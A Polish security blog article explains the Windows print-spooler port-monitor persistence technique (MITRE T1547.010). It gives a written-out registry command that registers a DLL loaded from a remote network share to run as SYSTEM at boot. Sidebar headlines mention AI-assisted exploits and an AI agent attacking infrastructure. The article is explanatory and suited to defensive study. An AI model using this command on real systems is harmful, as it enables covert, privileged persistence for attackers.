Menu dostępności

Uruchomienie złośliwego oprogramowania z wykorzystaniem monitora portów drukarek

W dzisiejszym artykule opiszemy jedną z ciekawych technik trwałego ukrywania się cyberprzestępców w systemie Windows, umożliwiającą uruchomienie złośliwego oprogramowania. Została ona opisana w Mitre T1547.010 i na potrzeby artykułu postanowiliśmy ją zademonstrować. Jest ona ciekawa, ponieważ możliwa jest do wykonania nawet na najnowszych wersjach Windows.


Co to jest Port Monitor?

Opisywana technika wykorzystuje możliwość Print Spoolera, czyli serwisu na Windows odpowiadającego za funkcje bufora wydruku (drukowania), w której można do systemu dodawać tak zwane monitory portów (Port Monitor). Cyberprzestępca, jeśli zdobędzie odpowiednie uprawnienia zapisu do gałęzi rejestru (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors) lub lokalnego administratora na Windows będzie miał możliwość dodania w nim monitor portu drukarki oraz dodania dowolnej biblioteki DLL, która będzie działać jako „monitor”.

Istnieją zasadniczo dwa sposoby dodania monitora portu, zwanego również złośliwą biblioteką dll:

  • za pośrednictwem rejestru systemowego w celu zapewnienia na sztywno przyczółku w systemie. Potrzebny będzie restart komputera.
  • za pośrednictwem niestandardowej aplikacji systemu Windows (funkcja AddMonitor) do natychmiastowego wykonania biblioteki dll.

Ponieważ usługa Print Spooler działa na najwyższych uprawnieniach systemowych „ZARZĄDZANIE NT/SYSTEM”, to tak skonfigurowana biblioteka DLL uruchomi się także w kontekście tych uprawnień. Stwarza to cyberprzestępcom nieograniczone możliwości w systemie Windows.


Przykład złośliwej biblioteki

Poniżej zamieszczamy kod biblioteki (payload.dll) napisanej w C++, której wynikiem działania jest uruchomienie na pulpicie Windows okna z wiadomością.


Jak stworzyć przyczółek w Windows z wykorzystaniem Port Monitor?

Dokumentacja Microsoft MSDN określa, że biblioteka DLL musi znaleźć się we wpisie Drivers i wszelkie pliki towarzyszące muszą znajdować się w katalogu „C:\Windows\System32\”. Okazuje się, że niekoniecznie tak musi być z lokalizacją biblioteki. Możemy ją załadować z udziału sieciowego tak, jak zostało to opisane i pokazane tutaj.

W celu dodanie wymaganego klucza do rejestru możemy użyć poniżej komendy: reg add „HKLM\System\CurrentControlSet\Control\Print\Monitors\KapitanHack” /v „Driver” /d „\\172.16.215.100\kapitan\payload.dll” /t REG_SZ”

W wyniku której zostanie dodany nasz port monitor KapitanHack z payload (plik payload.dll) pochodzącym z udostępnionego dla wszystkich (tryb zapis i odczyt) udziału o nazwie „kapitan” na serwerze 172.16.215.100.

Po ponownym uruchomieniu komputera możemy zobaczyć wynik w postaci uruchomienia biblioteki (pliku payload.dll), a konkretniej w naszym przypadku wywołania w niej funkcji uruchamiającej okno komunikatu na Windows.

Nasz plik payload.dll możemy załadować do Port Monitor z wykorzystaniem wcześniej wspomnianej funkcji w C++ AddMonitor().

Kompilując powyższy kod i uruchamiając go, system Windows uruchomi go automatycznie i na ekranie powinno pojawić się okno z naszym komunikatem. Uwaga! Program musimy uruchomić na użytkowniku posiadającym lokalne uprawnienia administracyjne lub przynajmniej uprawnienie SeLoadDriverPrivilege.

Popularne

Entra Connect może przestać synchronizować konta. Co trzeba zrobić przed 30 września 2026 roku?

Entra Connect może przestać synchronizować konta. Co trzeba zrobić przed 30 września 2026 roku?

O planowanym przechodzeniu z Microsoft Entra Connect Sync do Cloud Sync pisaliśmy już w artykule „Entra Connect Sync odchodzi w cień”. Istnieje jednak jeszcze inny termin, którego nie mogą przeoczyć organizac...
Jak wyglądają ataki brute force na hasła w 2026 roku

Jak wyglądają ataki brute force na hasła w 2026 roku

Jeszcze kilka lat temu wydawało się, że klasyczne ataki brute force powoli odchodzą do historii. Coraz więcej usług korzysta z MFA, mechanizmów blokowania kont, CAPTCHA czy ograniczania liczby prób l...
Jak zhakowane publiczne bramki Wi-Fi używane są do pozyskiwania poświadczeń korporacyjnych?

Jak zhakowane publiczne bramki Wi-Fi używane są do pozyskiwania poświadczeń korporacyjnych?

SecurityWeek za ReliaQuest informuje, że cyberprzestępcy przeprowadzają ataki na urządzenia obsługujące publiczne sieci Wi-Fi z tzw. captive portal (stroną logowania), by przejmować konta Microsoft 365 pod...
AI pomaga stworzyć exploit dla jądra Linuksa. CVE-2026-53264 umożliwia przejęcie uprawnień root

AI pomaga stworzyć exploit dla jądra Linuksa. CVE-2026-53264 umożliwia przejęcie uprawnień root

Sztuczna inteligencja coraz śmielej wspiera specjalistów ds. bezpieczeństwa – nie tylko podczas analizy kodu, ale również przy opracowywaniu działających exploitów. Najnowszym przykładem jest podatność...
Agent OpenAI miał rozwiązać benchmark – zamiast tego zaatakował infrastrukturę Hugging Face

Agent OpenAI miał rozwiązać benchmark – zamiast tego zaatakował infrastrukturę Hugging Face

OpenAI oraz Hugging Face ujawniły szczegóły incydentu, do którego doszło podczas wewnętrznych testów modeli AI w benchmarku ExploitGym. W trakcie ewaluacji agent wydostał się z izolowanego środowiska testowego...